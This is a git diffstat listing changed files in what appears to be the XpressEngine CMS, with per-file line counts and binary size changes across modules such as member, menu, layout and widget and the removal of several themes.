modules/install/tpl/images/blank.gif | Bin 43 -> 0 bytes modules/install/tpl/images/h1.png | Bin 23494 -> 0 bytes modules/install/tpl/images/iconCreate.gif | Bin 49 -> 0 bytes modules/install/tpl/images/iconManual.gif | Bin 101 -> 0 bytes modules/install/tpl/images/installBg.gif | Bin 1598 -> 0 bytes .../install/tpl/images/installBoxBottom.png | Bin 398 -> 0 bytes modules/install/tpl/img/bgHtml.gif | Bin 2997 -> 0 bytes modules/install/tpl/img/btnPack.gif | Bin 2951 -> 0 bytes modules/install/tpl/introduce.html | 27 +- modules/install/tpl/js/install.js | 108 +- modules/install/tpl/js/install_admin.js | 4 +- modules/install/tpl/select_db.html | 47 +- modules/integration_search/conf/info.xml | 4 +- .../integration_search.admin.controller.php | 226 +- .../integration_search.admin.view.php | 174 +- .../integration_search.class.php | 140 +- .../integration_search.model.php | 495 +- .../integration_search.view.php | 238 +- modules/integration_search/lang/lang.xml | 8 +- .../skins/default/document.html | 4 +- .../skins/default/header.html | 4 +- .../skins/default/multimedia.html | 4 +- .../skins/default/no_keywords.html | 2 +- .../integration_search/skins/default/skin.xml | 4 +- .../skins/default/trackback.html | 2 +- .../skins/default/white.css | 153 +- modules/integration_search/tpl/header.html | 17 +- modules/integration_search/tpl/index.html | 86 +- modules/integration_search/tpl/skin_info.html | 251 +- modules/layout/conf/info.xml | 2 +- modules/layout/conf/module.xml | 7 + modules/layout/lang/lang.xml | 106 +- modules/layout/layout.admin.controller.php | 1775 ++-- modules/layout/layout.admin.model.php | 206 + modules/layout/layout.admin.view.php | 808 +- modules/layout/layout.class.php | 215 +- modules/layout/layout.model.php | 1770 ++-- modules/layout/layout.view.php | 476 +- .../getOneModuleInstanceByModuleName.xml | 18 + modules/layout/ruleset/imageUpload.xml | 8 +- modules/layout/tpl/about_faceoff.html | 9 - .../layout/tpl/after_delete_config_image.html | 7 - .../layout/tpl/after_upload_config_image.html | 2 +- modules/layout/tpl/copy_layout.html | 63 +- modules/layout/tpl/css/adminEdit.css | 3 - .../layout/tpl/downloaded_layout_list.html | 51 - .../layout/tpl/downloaded_mlayout_list.html | 53 - modules/layout/tpl/header.html | 39 +- modules/layout/tpl/img/download.png | Bin 0 -> 1005 bytes modules/layout/tpl/img/noThumbnail.png | Bin 0 -> 2619 bytes modules/layout/tpl/include.multilang.html | 23 - .../tpl/include.multilang.textarea.html | 27 - modules/layout/tpl/index.html | 50 - modules/layout/tpl/insert_layout.html | 39 - modules/layout/tpl/installed_layout_list.html | 102 +- modules/layout/tpl/js/adminEdit.js | 14 +- modules/layout/tpl/js/layout_admin.js | 21 +- .../layout/tpl/js/layout_admin_set_html.js | 13 + .../layout/tpl/layout_all_instance_list.html | 89 +- modules/layout/tpl/layout_detail_info.html | 79 - modules/layout/tpl/layout_edit.html | 131 +- modules/layout/tpl/layout_html_css_view.html | 100 + modules/layout/tpl/layout_image_list.html | 26 - modules/layout/tpl/layout_info_view.html | 176 + modules/layout/tpl/layout_instance_list.html | 180 +- modules/layout/tpl/layout_modify.html | 184 +- modules/layout/tpl/layout_preview.html | 1 + modules/layout/tpl/mindex.html | 50 - modules/layout/tpl/sub_tab.html | 20 +- modules/layout/tpl/top_refresh.html | 2 +- modules/member/conf/info.xml | 2 +- modules/member/conf/module.xml | 20 +- modules/member/lang/lang.xml | 278 +- modules/member/m.skins/default/css/mlogin.css | 9 +- .../member/m.skins/default/css/msignup.css | 33 +- .../m.skins/default/find_member_account.html | 124 +- .../member/m.skins/default/leave_form.html | 11 +- .../member/m.skins/default/login_form.html | 11 +- .../member/m.skins/default/member_info.html | 54 +- .../m.skins/default/modify_email_address.html | 9 +- .../member/m.skins/default/modify_info.html | 28 +- .../m.skins/default/modify_password.html | 10 +- .../m.skins/default/rechecked_password.html | 13 +- .../member/m.skins/default/signup_form.html | 10 +- modules/member/m.skins/default/skin.xml | 36 +- modules/member/member.admin.controller.php | 2351 ++--- modules/member/member.admin.model.php | 550 +- modules/member/member.admin.view.php | 1100 ++- modules/member/member.api.php | 105 +- modules/member/member.class.php | 855 +- modules/member/member.controller.php | 4358 ++++----- modules/member/member.mobile.php | 14 +- modules/member/member.model.php | 1827 ++-- modules/member/member.view.php | 1121 +-- modules/member/queries/deleteAutologin.xml | 2 +- .../queries/getMemberListWithinGroup.xml | 2 +- .../member/ruleset/insertDefaultConfig.xml | 10 + modules/member/ruleset/insertJoinForm.xml | 4 +- ...insertConfig.xml => insertLoginConfig.xml} | 2 - .../member/skins/default/common_footer.html | 2 +- .../member/skins/default/common_header.html | 16 +- modules/member/skins/default/css/member.css | 429 +- .../member/skins/default/document_list.html | 94 +- .../skins/default/find_member_account.html | 121 +- .../default/find_member_account_mail.html | 8 +- .../skins/default/find_temp_password.html | 6 +- modules/member/skins/default/leave_form.html | 27 +- modules/member/skins/default/login_form.html | 71 +- modules/member/skins/default/logout.html | 6 +- modules/member/skins/default/member_info.html | 49 +- .../skins/default/modify_email_address.html | 22 +- modules/member/skins/default/modify_info.html | 91 +- .../member/skins/default/modify_password.html | 36 +- .../skins/default/rechecked_password.html | 34 +- .../skins/default/resend_auth_mail.html | 21 - modules/member/skins/default/reset_mail.html | 47 +- modules/member/skins/default/saved_list.html | 26 +- .../member/skins/default/scrapped_list.html | 64 +- modules/member/skins/default/signup_form.html | 134 +- modules/member/skins/default/skin.xml | 4 +- modules/member/tpl/colorset_list.html | 2 +- modules/member/tpl/css/mlogin.css | 5 +- modules/member/tpl/css/msignup.css | 5 +- modules/member/tpl/default_config.html | 47 + modules/member/tpl/delete_form.html | 29 - modules/member/tpl/delete_members.html | 32 - modules/member/tpl/denied_id_list.html | 73 - modules/member/tpl/design_config.html | 52 + modules/member/tpl/group_list.html | 202 +- modules/member/tpl/group_update_form.html | 49 - modules/member/tpl/header.html | 40 +- modules/member/tpl/insert_join_form.html | 110 +- modules/member/tpl/insert_member.html | 203 +- modules/member/tpl/join_form_list.html | 46 - modules/member/tpl/js/config.js | 5 + modules/member/tpl/js/default_config.js | 16 + modules/member/tpl/js/design_config.js | 24 + modules/member/tpl/js/member_admin.js | 4 + modules/member/tpl/js/member_admin_group.js | 5 +- modules/member/tpl/js/member_admin_list.js | 20 +- modules/member/tpl/js/signup_check.js | 2 +- ...ember_admin_config.js => signup_config.js} | 95 +- modules/member/tpl/login_config.html | 64 + modules/member/tpl/login_form.html | 44 - modules/member/tpl/logout.html | 7 - modules/member/tpl/manage_member_group.html | 45 - modules/member/tpl/member_config.html | 292 - modules/member/tpl/member_info.html | 121 +- modules/member/tpl/member_info_mobile.html | 80 - modules/member/tpl/member_list.html | 363 +- modules/member/tpl/modify_password.html | 38 - modules/member/tpl/msg_success_authed.html | 2 +- .../tpl/msg_success_modify_email_address.html | 2 +- modules/member/tpl/new_colorset_list.html | 17 + modules/member/tpl/redirect.html | 2 +- modules/member/tpl/signup_config.html | 199 + modules/member/tpl/signup_form.html | 78 - modules/menu/conf/info.xml | 4 +- modules/menu/conf/module.xml | 44 +- modules/menu/lang/lang.xml | 394 +- modules/menu/menu.admin.controller.php | 2934 ++++-- modules/menu/menu.admin.model.php | 937 +- modules/menu/menu.admin.view.php | 427 +- modules/menu/menu.class.php | 245 +- modules/menu/menu.mobile.php | 32 +- modules/menu/queries/getMenuByTitle.xml | 3 +- modules/menu/queries/getMenuItemByUrl.xml | 23 + modules/menu/queries/getMenus.xml | 4 +- modules/menu/queries/insertMenuItem.xml | 1 + modules/menu/queries/updateMenuItem.xml | 3 + modules/menu/queries/updateMenuItemNode.xml | 1 + modules/menu/ruleset/insertMenuItem.xml | 17 +- modules/menu/ruleset/updateMenuItem.xml | 10 + modules/menu/schemas/menu_item.xml | 1 + modules/menu/tpl/css/menu.css | 12 - modules/menu/tpl/css/sitemap.css | 320 + modules/menu/tpl/css/sitemap.ie78.css | 2 + modules/menu/tpl/css/themes/apple/bg.jpg | Bin 0 -> 331 bytes modules/menu/tpl/css/themes/apple/d.png | Bin 0 -> 7765 bytes .../menu/tpl/css/themes/apple/dot_for_ie.gif | Bin 0 -> 43 bytes modules/menu/tpl/css/themes/apple/style.css | 61 + .../menu/tpl/css/themes/apple/throbber.gif | Bin 0 -> 1849 bytes modules/menu/tpl/css/themes/classic/d.gif | Bin 0 -> 3003 bytes modules/menu/tpl/css/themes/classic/d.png | Bin 0 -> 7535 bytes .../tpl/css/themes/classic/dot_for_ie.gif | Bin 0 -> 43 bytes modules/menu/tpl/css/themes/classic/style.css | 77 + .../menu/tpl/css/themes/classic/throbber.gif | Bin 0 -> 1849 bytes modules/menu/tpl/css/themes/default-rtl/d.gif | Bin 0 -> 2872 bytes modules/menu/tpl/css/themes/default-rtl/d.png | Bin 0 -> 7459 bytes .../menu/tpl/css/themes/default-rtl/dots.gif | Bin 0 -> 132 bytes .../menu/tpl/css/themes/default-rtl/style.css | 84 + .../tpl/css/themes/default-rtl/throbber.gif | Bin 0 -> 1849 bytes modules/menu/tpl/css/themes/default/d.gif | Bin 0 -> 2434 bytes modules/menu/tpl/css/themes/default/d.png | Bin 0 -> 5003 bytes modules/menu/tpl/css/themes/default/style.css | 81 + .../menu/tpl/css/themes/default/throbber.gif | Bin 0 -> 1849 bytes modules/menu/tpl/filter/delete_menu.xml | 9 - modules/menu/tpl/filter/delete_menu_item.xml | 13 - modules/menu/tpl/filter/insert_menu.xml | 10 - modules/menu/tpl/filter/insert_menu_item.xml | 14 - modules/menu/tpl/filter/move_menu_item.xml | 10 - modules/menu/tpl/filter/update_menu_title.xml | 9 - modules/menu/tpl/header.html | 3 - modules/menu/tpl/index.html | 53 - modules/menu/tpl/js/_lib/jquery.cookie.js | 96 + modules/menu/tpl/js/_lib/jquery.hotkeys.js | 99 + modules/menu/tpl/js/_lib/jquery.js | 8176 +++++++++++++++++ modules/menu/tpl/js/jquery.jstree.js | 4545 +++++++++ modules/menu/tpl/js/jquery.scrollTo-1.4.2.js | 215 + modules/menu/tpl/js/jquery.tmpl.js | 484 + modules/menu/tpl/menu_file_uploaded.html | 10 - modules/menu/tpl/menu_insert.html | 28 - modules/menu/tpl/menu_item_info.html | 123 - modules/menu/tpl/menu_management.html | 97 - modules/menu/tpl/mid_list.html | 49 - modules/menu/tpl/sitemap.html | 4187 ++++++++- modules/menu/tpl/sitemap.item.html | 21 - modules/message/conf/info.xml | 4 +- modules/message/conf/module.xml | 15 +- modules/message/lang/lang.xml | 2 +- .../m.skins/default/http_status_code.html | 37 +- modules/message/m.skins/default/message.css | 7 +- .../m.skins/default/system_message.html | 33 +- modules/message/message.admin.controller.php | 60 +- modules/message/message.admin.model.php | 29 + modules/message/message.admin.view.php | 74 +- modules/message/message.class.php | 120 +- modules/message/message.mobile.php | 78 +- modules/message/message.view.php | 27 +- .../skins/default/http_status_code.html | 37 +- modules/message/skins/default/message.css | 62 +- modules/message/skins/default/message.js | 35 +- .../message/skins/default/system_message.html | 72 +- modules/message/tpl/colorset_list.html | 16 + modules/message/tpl/config.html | 69 +- modules/message/tpl/js/config.js | 45 + modules/module/conf/info.xml | 4 +- modules/module/conf/module.xml | 10 + modules/module/lang/lang.xml | 225 +- modules/module/module.admin.controller.php | 1620 ++-- modules/module/module.admin.model.php | 884 +- modules/module/module.admin.view.php | 584 +- modules/module/module.class.php | 944 +- modules/module/module.controller.php | 2152 +++-- modules/module/module.mobile.php | 11 +- modules/module/module.model.php | 3765 ++++---- modules/module/module.view.php | 289 +- .../queries/getAllMobileSkinSetModule.xml | 11 + .../module/queries/getLangListByLangcode.xml | 1 + .../queries/getModuleInfoByMenuItemSrl.xml | 18 + .../queries/getModuleListByInstance.xml | 1 + .../queries/getNotLinkedModuleBySiteSrl.xml | 12 + modules/module/queries/getSiteInfo.xml | 2 + modules/module/queries/insertModule.xml | 3 +- .../queries/updateMobileSkinFixModules.xml | 12 + modules/module/queries/updateModule.xml | 3 +- .../module/queries/updateSkinFixModules.xml | 5 +- modules/module/ruleset/insertModuleSetup.xml | 3 +- modules/module/schemas/modules.xml | 1 + modules/module/tpl/adminFileBox.html | 177 +- modules/module/tpl/category_list.html | 77 +- modules/module/tpl/category_update_form.html | 22 +- modules/module/tpl/copy_module.html | 137 +- modules/module/tpl/filebox_add.html | 40 +- modules/module/tpl/filebox_list.html | 80 +- modules/module/tpl/filebox_list_html.html | 108 +- modules/module/tpl/filter/insert_grant.xml | 2 +- modules/module/tpl/header.html | 22 +- modules/module/tpl/include.filebox.html | 51 + .../module/tpl/include.manage_selected.html | 68 +- .../tpl/include.module_addition_setup.html | 2 +- .../tpl/include.module_grant_setup.html | 58 +- modules/module/tpl/include.module_setup.html | 198 +- modules/module/tpl/include.multilang.html | 24 +- .../tpl/include.multilang.textarea.html | 27 +- .../module/tpl/js/manage_selected_module.js | 9 +- modules/{widget => module}/tpl/js/mid.js | 38 +- modules/module/tpl/js/module_admin.js | 2 +- .../{widget => module}/tpl/js/module_list.js | 16 +- modules/module/tpl/js/multi_order.js | 6 +- modules/module/tpl/module_addition_setup.html | 2 +- modules/module/tpl/module_grant_setup.html | 73 +- modules/module/tpl/module_grants.html | 119 +- modules/module/tpl/module_info.html | 150 +- modules/module/tpl/module_langcode.html | 112 +- modules/module/tpl/module_list.html | 120 +- modules/module/tpl/module_searcher_v17.html | 21 + modules/module/tpl/module_selector.html | 124 +- modules/module/tpl/module_setup.html | 117 +- modules/module/tpl/move_filebox_list.html | 2 +- modules/module/tpl/multilingual_v17.html | 51 + modules/module/tpl/multilingual_v17_list.html | 66 + modules/module/tpl/skin_config.html | 195 +- modules/module/tpl/skin_info.html | 156 +- modules/module/tpl/top_refresh.html | 2 +- modules/page/conf/info.xml | 2 +- modules/page/conf/module.xml | 1 - modules/page/lang/lang.xml | 95 +- modules/page/m.skins/default/skin.xml | 15 + modules/page/page.admin.controller.php | 647 +- modules/page/page.admin.view.php | 676 +- modules/page/page.api.php | 45 +- modules/page/page.class.php | 143 +- modules/page/page.controller.php | 196 +- modules/page/page.mobile.php | 94 +- modules/page/page.view.php | 385 +- modules/page/page.wap.php | 48 +- modules/page/skins/default/content.html | 5 + modules/page/tpl/article_content_footer.html | 6 +- modules/page/tpl/article_content_modify.html | 8 +- modules/page/tpl/content.html | 22 +- modules/page/tpl/css/page.css | 2 - modules/page/tpl/header.html | 55 +- modules/page/tpl/index.html | 230 +- modules/page/tpl/js/page_admin.js | 10 - modules/page/tpl/mcontent.html | 16 +- modules/page/tpl/page_content_modify.html | 40 +- modules/page/tpl/page_delete.html | 39 +- modules/page/tpl/page_info.html | 264 +- modules/page/tpl/page_insert.html | 155 - .../page/tpl/page_mobile_content_modify.html | 76 +- modules/point/conf/info.xml | 2 +- modules/point/lang/lang.xml | 16 +- modules/point/point.admin.controller.php | 646 +- modules/point/point.admin.view.php | 212 +- modules/point/point.class.php | 338 +- modules/point/point.controller.php | 1198 +-- modules/point/point.model.php | 341 +- modules/point/point.view.php | 113 +- modules/point/tpl/config.html | 311 +- modules/point/tpl/header.html | 16 +- modules/point/tpl/js/point_admin.js | 2 +- modules/point/tpl/member_list.html | 245 +- modules/point/tpl/module_config.html | 65 +- modules/point/tpl/point_module_config.html | 107 +- modules/poll/conf/info.xml | 2 +- modules/poll/lang/lang.xml | 22 +- modules/poll/poll.admin.controller.php | 278 +- modules/poll/poll.admin.model.php | 112 +- modules/poll/poll.admin.view.php | 290 +- modules/poll/poll.class.php | 146 +- modules/poll/poll.controller.php | 634 +- modules/poll/poll.model.php | 250 +- .../poll/queries/getPollListWithMember.xml | 25 +- modules/poll/skins/default/css/poll.css | 62 +- modules/poll/skins/default/css/poll.min.css | 2 +- modules/poll/skins/default/form.html | 16 +- modules/poll/skins/default/result.html | 18 +- modules/poll/skins/simple/form.html | 5 +- modules/poll/skins/simple/result.html | 5 +- modules/poll/tpl/config.html | 53 +- modules/poll/tpl/js/poll_admin.js | 65 +- modules/poll/tpl/js/poll_admin.min.js | 10 +- modules/poll/tpl/poll_list.html | 231 +- modules/rss/conf/info.xml | 2 +- modules/rss/conf/module.xml | 4 +- modules/rss/lang/lang.xml | 18 +- modules/rss/rss.admin.controller.php | 315 +- modules/rss/rss.admin.view.php | 111 +- modules/rss/rss.class.php | 155 +- modules/rss/rss.controller.php | 143 +- modules/rss/rss.model.php | 102 +- modules/rss/rss.view.php | 451 +- modules/rss/ruleset/insertRssConfig.xml | 5 +- modules/rss/tpl/filter/insert_rss_config.xml | 7 - .../tpl/filter/insert_rss_module_config.xml | 7 - modules/rss/tpl/js/rss.js | 17 - modules/rss/tpl/rss_admin_index.html | 200 +- modules/rss/tpl/rss_module_config.html | 95 +- modules/rss/tpl/top_refresh.html | 2 +- modules/session/conf/info.xml | 2 +- modules/session/lang/lang.xml | 24 +- modules/session/session.admin.controller.php | 48 +- modules/session/session.admin.view.php | 49 +- modules/session/session.class.php | 143 +- modules/session/session.controller.php | 248 +- modules/session/session.model.php | 188 +- modules/session/tpl/index.html | 14 +- modules/session/tpl/js/session.js | 1 - modules/spamfilter/conf/module.xml | 12 +- modules/spamfilter/lang/lang.xml | 36 +- modules/spamfilter/queries/deleteDeniedIP.xml | 2 +- .../spamfilter/queries/deleteDeniedWord.xml | 2 +- modules/spamfilter/ruleset/deleteDeniedIp.xml | 10 - .../spamfilter/ruleset/deleteDeniedWord.xml | 10 - .../spamfilter.admin.controller.php | 241 +- modules/spamfilter/spamfilter.admin.view.php | 99 +- modules/spamfilter/spamfilter.class.php | 188 +- modules/spamfilter/spamfilter.controller.php | 318 +- modules/spamfilter/spamfilter.model.php | 259 +- modules/spamfilter/tpl/config_block.html | 44 + modules/spamfilter/tpl/denied_ip_list.html | 49 + modules/spamfilter/tpl/denied_word_list.html | 51 + .../spamfilter/tpl/footer.html | 0 modules/spamfilter/tpl/header.html | 7 + modules/spamfilter/tpl/index.html | 77 - modules/spamfilter/tpl/js/spamfilter_admin.js | 25 - modules/tag/conf/info.xml | 2 +- modules/tag/tag.admin.controller.php | 35 +- modules/tag/tag.class.php | 156 +- modules/tag/tag.controller.php | 166 +- modules/tag/tag.model.php | 164 +- modules/trackback/conf/info.xml | 2 +- modules/trackback/lang/lang.xml | 8 + .../trackback/tpl/send_trackback_form.html | 57 +- modules/trackback/tpl/trackback_list.html | 240 +- .../tpl/trackback_module_config.html | 39 +- .../trackback/trackback.admin.controller.php | 260 +- modules/trackback/trackback.admin.model.php | 168 +- modules/trackback/trackback.admin.view.php | 100 +- modules/trackback/trackback.class.php | 161 +- modules/trackback/trackback.controller.php | 686 +- modules/trackback/trackback.model.php | 330 +- modules/trackback/trackback.view.php | 128 +- modules/trash/conf/info.xml | 2 +- modules/trash/lang/lang.xml | 18 +- modules/trash/model/TrashVO.php | 6 +- modules/trash/queries/getTrashAllList.xml | 16 + modules/trash/tpl/js/trash_admin.js | 5 +- modules/trash/tpl/trash_list.html | 250 +- modules/trash/trash.admin.controller.php | 60 +- modules/trash/trash.admin.view.php | 14 +- modules/trash/trash.class.php | 21 +- modules/trash/trash.model.php | 26 +- modules/trash/trash.view.php | 9 +- modules/widget/conf/info.xml | 2 +- modules/widget/conf/module.xml | 2 +- modules/widget/lang/lang.xml | 28 +- modules/widget/ruleset/generateCodeInPage.xml | 11 + modules/widget/tpl/add_content_widget.html | 51 +- modules/widget/tpl/css/widget.css | 51 +- .../widget/tpl/downloaded_widget_list.html | 80 +- modules/widget/tpl/header.html | 16 +- modules/widget/tpl/images/widget_copy.gif | Bin 140 -> 0 bytes modules/widget/tpl/images/widget_remove.gif | Bin 202 -> 0 bytes modules/widget/tpl/images/widget_setup.gif | Bin 120 -> 0 bytes modules/widget/tpl/images/widget_size.gif | Bin 191 -> 0 bytes .../widget/tpl/images/widgetstyle_none.gif | Bin 1197 -> 1370 bytes .../widget/tpl/images/widgetstyle_setup.gif | Bin 143 -> 0 bytes modules/widget/tpl/js/generate_code.js | 10 +- modules/widget/tpl/js/multi_lang.js | 30 - modules/widget/tpl/js/multi_order.js | 75 - modules/widget/tpl/js/widget.js | 177 +- modules/widget/tpl/js/widget.min.js | 47 + modules/widget/tpl/skin_info.html | 157 +- modules/widget/tpl/widget_detail_info.html | 136 +- .../tpl/widget_generate_code.filebox.html | 103 - modules/widget/tpl/widget_generate_code.html | 28 +- .../tpl/widget_generate_code.include.html | 272 +- .../tpl/widget_generate_code.multilang.html | 23 - ...dget_generate_code.multilang.textarea.html | 27 - .../tpl/widget_generate_code_in_page.html | 96 +- modules/widget/tpl/widget_layer.html | 97 +- .../widget_style_generate_code_in_page.html | 167 +- modules/widget/widget.admin.view.php | 134 +- modules/widget/widget.class.php | 102 +- modules/widget/widget.controller.php | 1270 +-- modules/widget/widget.model.php | 786 +- modules/widget/widget.view.php | 260 +- .../xml/xmlquery/argument/data/en.lang.php | 642 +- .../classes/template/TemplateHandlerTest.php | 4 +- tests/common/js/index.html | 18 +- tests/modules/admin/admin.Test.php | 95 + tests/modules/document/document.Test.php | 123 + themes/xe_default/conf/info.xml | 30 - themes/xe_default/thumbnail.png | Bin 14157 -> 0 bytes themes/xe_greystone/conf/info.xml | 24 - .../layouts/xe_greystone/conf/info.xml | 163 - .../layouts/xe_greystone/css/default.css | 100 - .../layouts/xe_greystone/images/Thumbs.db | Bin 4096 -> 0 bytes .../xe_greystone/images/black/Thumbs.db | Bin 22528 -> 0 bytes .../xe_greystone/images/black/bgBody.gif | Bin 1398 -> 0 bytes .../images/black/bgContentBody.gif | Bin 153 -> 0 bytes .../xe_greystone/images/black/bgGnbOn.gif | Bin 354 -> 0 bytes .../xe_greystone/images/black/bgGnbVr.gif | Bin 97 -> 0 bytes .../xe_greystone/images/black/bgHeader.jpg | Bin 6492 -> 0 bytes .../xe_greystone/images/black/bgLnbOff.gif | Bin 61 -> 0 bytes .../xe_greystone/images/black/bgSearch.gif | Bin 1474 -> 0 bytes .../xe_greystone/images/black/bgSearchOn.gif | Bin 1499 -> 0 bytes .../images/black/bgSearchTerm.gif | Bin 1325 -> 0 bytes .../xe_greystone/images/black/bulletD0.gif | Bin 44 -> 0 bytes .../images/black/bulletFF1A00.gif | Bin 44 -> 0 bytes .../xe_greystone/images/black/bulletLnb.gif | Bin 49 -> 0 bytes .../xe_greystone/images/black/buttonLang.gif | Bin 180 -> 0 bytes .../images/black/buttonSearch.gif | Bin 959 -> 0 bytes .../xe_greystone/images/black/lineNotice.gif | Bin 78 -> 0 bytes .../xe_greystone/images/black/vrType1.gif | Bin 44 -> 0 bytes .../layouts/xe_greystone/images/blank.gif | Bin 43 -> 0 bytes .../images/default/bgContentBody.gif | Bin 101 -> 0 bytes .../xe_greystone/images/default/bgGnbVr.gif | Bin 281 -> 0 bytes .../xe_greystone/images/default/bgLnbOff.gif | Bin 137 -> 0 bytes .../xe_greystone/images/default/bg_body.gif | Bin 3166 -> 0 bytes .../xe_greystone/images/default/bg_gnb.gif | Bin 160 -> 0 bytes .../xe_greystone/images/default/bg_gnb2.gif | Bin 99 -> 0 bytes .../xe_greystone/images/default/bg_lnb.gif | Bin 1171 -> 0 bytes .../xe_greystone/images/default/bu_v1.gif | Bin 43 -> 0 bytes .../images/default/buttonLogin.gif | Bin 1779 -> 0 bytes .../xe_greystone/images/default/ico_are.gif | Bin 326 -> 0 bytes .../xe_greystone/images/default/ico_arw.gif | Bin 160 -> 0 bytes .../images/default/ico_search.gif | Bin 529 -> 0 bytes .../xe_greystone/images/powerdByXE.gif | Bin 161 -> 0 bytes .../xe_greystone/images/white/Thumbs.db | Bin 22528 -> 0 bytes .../images/white/bgContentBody.gif | Bin 101 -> 0 bytes .../xe_greystone/images/white/bgGnbOn.gif | Bin 354 -> 0 bytes .../xe_greystone/images/white/bgGnbVr.gif | Bin 96 -> 0 bytes .../xe_greystone/images/white/bgHeader.png | Bin 18604 -> 0 bytes .../xe_greystone/images/white/bgLnbOff.gif | Bin 137 -> 0 bytes .../xe_greystone/images/white/bgSearch.gif | Bin 120 -> 0 bytes .../xe_greystone/images/white/bgSearchOn.gif | Bin 120 -> 0 bytes .../images/white/bgSearchTerm.gif | Bin 124 -> 0 bytes .../xe_greystone/images/white/bulletD0.gif | Bin 44 -> 0 bytes .../images/white/bulletFF1A00.gif | Bin 44 -> 0 bytes .../xe_greystone/images/white/bulletLnb.gif | Bin 49 -> 0 bytes .../xe_greystone/images/white/buttonLang.gif | Bin 166 -> 0 bytes .../images/white/buttonSearch.gif | Bin 133 -> 0 bytes .../xe_greystone/images/white/lineNotice.gif | Bin 78 -> 0 bytes .../xe_greystone/images/white/vrType1.gif | Bin 44 -> 0 bytes .../layouts/xe_greystone/info.xml | 163 - .../layouts/xe_greystone/js/blank.gif | Bin 43 -> 0 bytes .../layouts/xe_greystone/js/xe_global.js | 67 - .../layouts/xe_greystone/js/xe_official.js | 36 - .../layouts/xe_greystone/layout.html | 104 - .../layouts/xe_greystone/thumbnail.png | Bin 16692 -> 0 bytes .../modules/message/filter/login.xml | 8 - .../modules/message/filter/openid_login.xml | 10 - .../modules/message/images/Thumbs.db | Bin 9728 -> 0 bytes .../modules/message/images/bg_box_c.gif | Bin 58 -> 0 bytes .../modules/message/images/bg_box_f.gif | Bin 507 -> 0 bytes .../modules/message/images/bg_box_top.gif | Bin 958 -> 0 bytes .../modules/message/images/bg_gLogin.gif | Bin 1929 -> 0 bytes .../modules/message/images/bg_logOut.gif | Bin 344 -> 0 bytes .../modules/message/images/buttonAction.gif | Bin 2492 -> 0 bytes .../message/images/openid_login_bg.gif | Bin 237 -> 0 bytes .../xe_greystone/modules/message/message.css | 40 - .../xe_greystone/modules/message/message.js | 38 - themes/xe_greystone/modules/message/skin.xml | 36 - .../modules/message/system_message.html | 65 - .../modules/message/thumbnail.png | Bin 7825 -> 0 bytes themes/xe_greystone/thumbnail.png | Bin 16692 -> 0 bytes themes/xe_sapphire/conf/info.xml | 24 - .../layouts/xe_sapphire/conf/info.xml | 163 - .../layouts/xe_sapphire/css/default.css | 103 - .../xe_sapphire/images/default/bgGnbVr.gif | Bin 281 -> 0 bytes .../xe_sapphire/images/default/bg_body.gif | Bin 526 -> 0 bytes .../images/default/bg_contentBody.gif | Bin 72 -> 0 bytes .../xe_sapphire/images/default/bg_gnb.gif | Bin 2107 -> 0 bytes .../xe_sapphire/images/default/bg_gnb2.gif | Bin 94 -> 0 bytes .../xe_sapphire/images/default/bg_gnb3.gif | Bin 156 -> 0 bytes .../xe_sapphire/images/default/bg_gnb4.gif | Bin 259 -> 0 bytes .../images/default/bg_gnb_home.gif | Bin 895 -> 0 bytes .../xe_sapphire/images/default/bg_hd.gif | Bin 1356 -> 0 bytes .../xe_sapphire/images/default/bg_login.gif | Bin 9508 -> 0 bytes .../images/default/bg_top_area.gif | Bin 1356 -> 0 bytes .../xe_sapphire/images/default/btn_login2.gif | Bin 1649 -> 0 bytes .../xe_sapphire/images/default/bu_v1.gif | Bin 43 -> 0 bytes .../xe_sapphire/images/default/ico_arw.gif | Bin 151 -> 0 bytes .../xe_sapphire/images/default/ico_arw2.gif | Bin 326 -> 0 bytes .../xe_sapphire/images/default/ico_search.gif | Bin 528 -> 0 bytes .../images/default/line_language.gif | Bin 90 -> 0 bytes .../images/default/ling_top_area.gif | Bin 182 -> 0 bytes .../layouts/xe_sapphire/js/blank.gif | Bin 43 -> 0 bytes .../layouts/xe_sapphire/js/xe_global.js | 66 - .../layouts/xe_sapphire/js/xe_official.js | 36 - .../layouts/xe_sapphire/layout.html | 104 - .../layouts/xe_sapphire/thumbnail.png | Bin 17342 -> 0 bytes .../modules/message/filter/login.xml | 8 - .../modules/message/filter/logout.xml | 7 - .../modules/message/filter/openid_login.xml | 10 - .../modules/message/images/Thumbs.db | Bin 9728 -> 0 bytes .../modules/message/images/bg_box_c.gif | Bin 58 -> 0 bytes .../modules/message/images/bg_box_f.gif | Bin 507 -> 0 bytes .../modules/message/images/bg_box_top.gif | Bin 958 -> 0 bytes .../modules/message/images/bg_gLogin.gif | Bin 1929 -> 0 bytes .../modules/message/images/bg_logOut.gif | Bin 344 -> 0 bytes .../modules/message/images/buttonAction.gif | Bin 2492 -> 0 bytes .../message/images/openid_login_bg.gif | Bin 237 -> 0 bytes .../xe_sapphire/modules/message/message.css | 40 - themes/xe_sapphire/modules/message/message.js | 38 - themes/xe_sapphire/modules/message/skin.xml | 36 - .../modules/message/system_message.html | 65 - .../xe_sapphire/modules/message/thumbnail.png | Bin 7825 -> 0 bytes themes/xe_sapphire/thumbnail.png | Bin 17342 -> 0 bytes themes/xe_solid_enterprise/conf/info.xml | 30 - .../layouts/xe_solid_enterprise/conf/info.xml | 312 - .../xe_solid_enterprise/css/banner.css | 43 - .../layouts/xe_solid_enterprise/css/style.css | 62 - .../xe_solid_enterprise/images/Thumbs.db | Bin 71680 -> 0 bytes .../images/back_slide_img_1.jpg | Bin 65854 -> 0 bytes .../images/btn_language.gif | Bin 1479 -> 0 bytes .../xe_solid_enterprise/images/btn_signin.gif | Bin 2115 -> 0 bytes .../images/btn_signout.gif | Bin 1820 -> 0 bytes .../images/defaultImg1.jpg | Bin 155348 -> 0 bytes .../images/defaultImg2.jpg | Bin 177459 -> 0 bytes .../images/defaultImg3.jpg | Bin 158581 -> 0 bytes .../images/defaultImg4.jpg | Bin 151527 -> 0 bytes .../images/defaultImg5.jpg | Bin 303205 -> 0 bytes .../xe_solid_enterprise/images/gnb_m1_on.gif | Bin 2354 -> 0 bytes .../images/gnb_m1_on_n.gif | Bin 1165 -> 0 bytes .../xe_solid_enterprise/images/header_bg.gif | Bin 1688 -> 0 bytes .../xe_solid_enterprise/images/icon_add.gif | Bin 1726 -> 0 bytes .../images/icon_article.gif | Bin 1466 -> 0 bytes .../xe_solid_enterprise/images/icon_at.gif | Bin 1799 -> 0 bytes .../xe_solid_enterprise/images/icon_book.gif | Bin 1781 -> 0 bytes 